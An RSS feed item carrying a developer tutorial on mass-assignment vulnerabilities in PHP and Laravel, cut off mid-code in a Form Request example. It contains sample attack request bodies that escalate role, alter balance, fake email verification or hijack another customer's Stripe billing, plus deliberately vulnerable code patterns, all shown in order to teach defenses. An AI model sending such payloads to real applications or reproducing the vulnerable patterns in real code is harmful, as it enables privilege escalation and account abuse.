      <title>Mass Assignment in PHP and Laravel — When User Input Becomes More Than It Should</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/mass-assignment-in-php-and-laravel-when-user-input-becomes-more-than-it-should-4kic</link>
      <guid>https://dev.to/kriosa/mass-assignment-in-php-and-laravel-when-user-input-becomes-more-than-it-should-4kic</guid>
      <description>&lt;p&gt;This is the sixteenth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend" rel="noopener noreferrer"&gt;Article 6&lt;/a&gt;: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=file-upload-security-in-php-and-laravel-the-file-that-isn-t-what-it-claims-to-be" rel="noopener noreferrer"&gt;Article 7&lt;/a&gt;: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=secrets-management-laravel-env" rel="noopener noreferrer"&gt;Article 11&lt;/a&gt;: Secrets in Laravel — why &lt;code&gt;.env&lt;/code&gt; is only the beginning&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=session-security-php-developers-get-wrong" rel="noopener noreferrer"&gt;Article 12&lt;/a&gt;: Session security in PHP — what most developers get wrong&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=rate-limiting-laravel-php-brute-force" rel="noopener noreferrer"&gt;Article 13&lt;/a&gt;: Rate limiting in Laravel and PHP — how to stop brute force before it starts&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=security-headers-php-laravel-6a82e46e2e41a" rel="noopener noreferrer"&gt;Article 14&lt;/a&gt;: Security headers in PHP and Laravel — the lines that harden every response&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=idor-php-laravel-insecure-direct-object-reference" rel="noopener noreferrer"&gt;Article 15&lt;/a&gt;: IDOR in PHP and Laravel — when changing one number exposes someone else's data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Mass assignment is often described as a Laravel vulnerability. The underlying problem is much broader trusting user-controlled field names and values more than the application should.&lt;/p&gt;

&lt;p&gt;Laravel gives this problem a specific name and provides built-in defenses. Plain PHP does not. But the security principle is the same across both:&lt;/p&gt;

&lt;p&gt;Never let the client decide which application attributes it is allowed to modify.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Problem
&lt;/h2&gt;

&lt;p&gt;Your application receives a profile update request. A legitimate user sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=John&amp;amp;email=john@example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=John&amp;amp;email=john@example.com&amp;amp;role=admin&amp;amp;is_admin=1&amp;amp;balance=99999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTTP method is the same. The endpoint is the same. The only difference is the extra fields.&lt;/p&gt;

&lt;p&gt;If your application processes every field it receives without filtering which ones are allowed the attacker just wrote &lt;code&gt;role&lt;/code&gt;, &lt;code&gt;is_admin&lt;/code&gt;, and &lt;code&gt;balance&lt;/code&gt; to your database through a profile update form.&lt;/p&gt;

&lt;p&gt;No exploit. No special tool. Browser developer tools and knowledge of what column names to try.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mass Assignment in Plain PHP
&lt;/h2&gt;

&lt;p&gt;Laravel makes mass assignment easy to recognize because Eloquent has explicit methods like &lt;code&gt;create()&lt;/code&gt; and &lt;code&gt;update()&lt;/code&gt;. Plain PHP does not have a built-in mass assignment mechanism but plain PHP applications are equally vulnerable.&lt;/p&gt;

&lt;p&gt;The problem appears when developers accept arbitrary request keys and map them directly into objects or database fields:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — client controls which properties are modified&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the client is choosing which properties the application modifies. A legitimate user updates their name and email. An attacker adds &lt;code&gt;role=admin&lt;/code&gt; and &lt;code&gt;is_admin=1&lt;/code&gt; to the same request. Both are processed identically.&lt;/p&gt;

&lt;p&gt;The dangerous assumption is if the client sent the field the application should process it. That is an input-trust problem. The client should never decide which fields the application processes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The correct plain PHP approach explicit allowlist:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$allowed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$field&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$field&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt;$field&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$field&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or more explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'name'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker can send &lt;code&gt;role=admin&lt;/code&gt; and &lt;code&gt;is_admin=1&lt;/code&gt; but those fields never enter the update operation because only &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;email&lt;/code&gt; are in the allowlist.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parameterized queries do not solve this:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is a critical distinction. Parameterized queries protect against SQL injection they do not decide which fields a user is allowed to modify.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Good SQL injection protection but not mass assignment protection&lt;/span&gt;
&lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"UPDATE users SET name = :name, email = :email WHERE id = :id"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;':name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':id'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query is safe from SQL injection. But the application still needs to decide separately that &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;email&lt;/code&gt; are the only fields this request is allowed to change. Both protections are required they solve different problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mass Assignment in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel's Eloquent ORM gives the vulnerability a specific name and provides built-in defenses. But those defenses only work when developers understand and apply them correctly.&lt;/p&gt;

&lt;p&gt;Code like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;User&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;passes every field the user submitted directly to the model. &lt;code&gt;$request-&amp;gt;all()&lt;/code&gt; is the problem it contains whatever the attacker decides to send.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;$fillable&lt;/code&gt; the allowlist approach:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Model&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$fillable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only fields listed in &lt;code&gt;$fillable&lt;/code&gt; can be mass assigned. If an attacker submits &lt;code&gt;role=admin&lt;/code&gt; or &lt;code&gt;is_admin=1&lt;/code&gt; those fields are silently ignored.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;$guarded&lt;/code&gt; the blocklist approach:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Model&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$guarded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'is_admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'balance'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything except fields in &lt;code&gt;$guarded&lt;/code&gt; can be mass assigned. The danger is that the blocklist becomes incomplete as the application grows. A developer adds a sensitive column six months later and forgets to add it to &lt;code&gt;$guarded&lt;/code&gt;. An allowlist has a safer failure mode a newly added field is not automatically mass assignable unless explicitly added to &lt;code&gt;$fillable&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;$guarded = []&lt;/code&gt; the most dangerous configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Model&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$guarded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This disables mass assignment protection entirely. Every field can be mass assigned. You see this in tutorials and prototypes. In production it deserves particular scrutiny.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;forceFill()&lt;/code&gt; trap:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This ignores $fillable and $guarded completely&lt;/span&gt;
&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;forceFill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;forceFill()&lt;/code&gt; is legitimate for trusted internal operations database seeding, administrative scripts, migration tooling where you control the data. Using it with user-supplied input removes the model-level safety boundary completely.&lt;/p&gt;

&lt;p&gt;Search your codebase now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"forceFill"&lt;/span&gt; app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every result needs manual review. If any &lt;code&gt;forceFill()&lt;/code&gt; call receives data that originates from user input directly or indirectly it is a vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One critical point:&lt;/strong&gt; &lt;code&gt;$fillable&lt;/code&gt; does not replace authorization. A request can contain perfectly valid fields and still come from a user who is not allowed to modify that resource. Mass assignment protection and access control solve different problems. Both are required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Beyond Role Escalation — The Scenarios Developers Miss
&lt;/h2&gt;

&lt;p&gt;Most developers know to protect &lt;code&gt;role&lt;/code&gt; and &lt;code&gt;is_admin&lt;/code&gt;. Here are the scenarios they miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Email verification bypass:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;email=attacker@example.com&amp;amp;email_verified_at=2024-01-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user changes their email and simultaneously marks it as verified skipping your verification flow entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Balance manipulation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;amount=10&amp;amp;balance=99999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user submits a legitimate transaction amount but also sets their own account balance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Soft delete recovery:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=John&amp;amp;deleted_at=null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user recovers their soft-deleted account or restores deleted content by setting &lt;code&gt;deleted_at&lt;/code&gt; to null.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timestamp manipulation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=John&amp;amp;created_at=2020-01-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user changes when their account was created useful for bypassing time-based restrictions or trial period limits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Billing relationship hijacking:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;name=John&amp;amp;stripe_customer_id=cus_someone_elses_id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A user points their account to another customer's Stripe billing relationship accessing another customer's payment methods.&lt;/p&gt;

&lt;p&gt;Every one of these is possible when mass assignment protection is absent or incomplete.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Three Layers of Protection
&lt;/h2&gt;

&lt;p&gt;Strong protection uses all three layers. Each catches what the previous one might miss.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — Model level with &lt;code&gt;$fillable&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Model&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;protected&lt;/span&gt; &lt;span class="nv"&gt;$fillable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your safety net. Even if a developer makes a mistake in the controller the model-level protection limits the damage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 — Controller level with &lt;code&gt;$request-&amp;gt;only()&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/profile'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'success'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Profile updated.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$request-&amp;gt;only()&lt;/code&gt; extracts only the fields you specify. Even if the attacker sends additional fields they never reach the model.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — Form Request with &lt;code&gt;$request-&amp;gt;validated()&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Http/Requests/UpdateProfileRequest.php&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UpdateProfileRequest&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;FormRequest&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;authorize&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;array&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'name'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'required'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'string'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'max:255'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
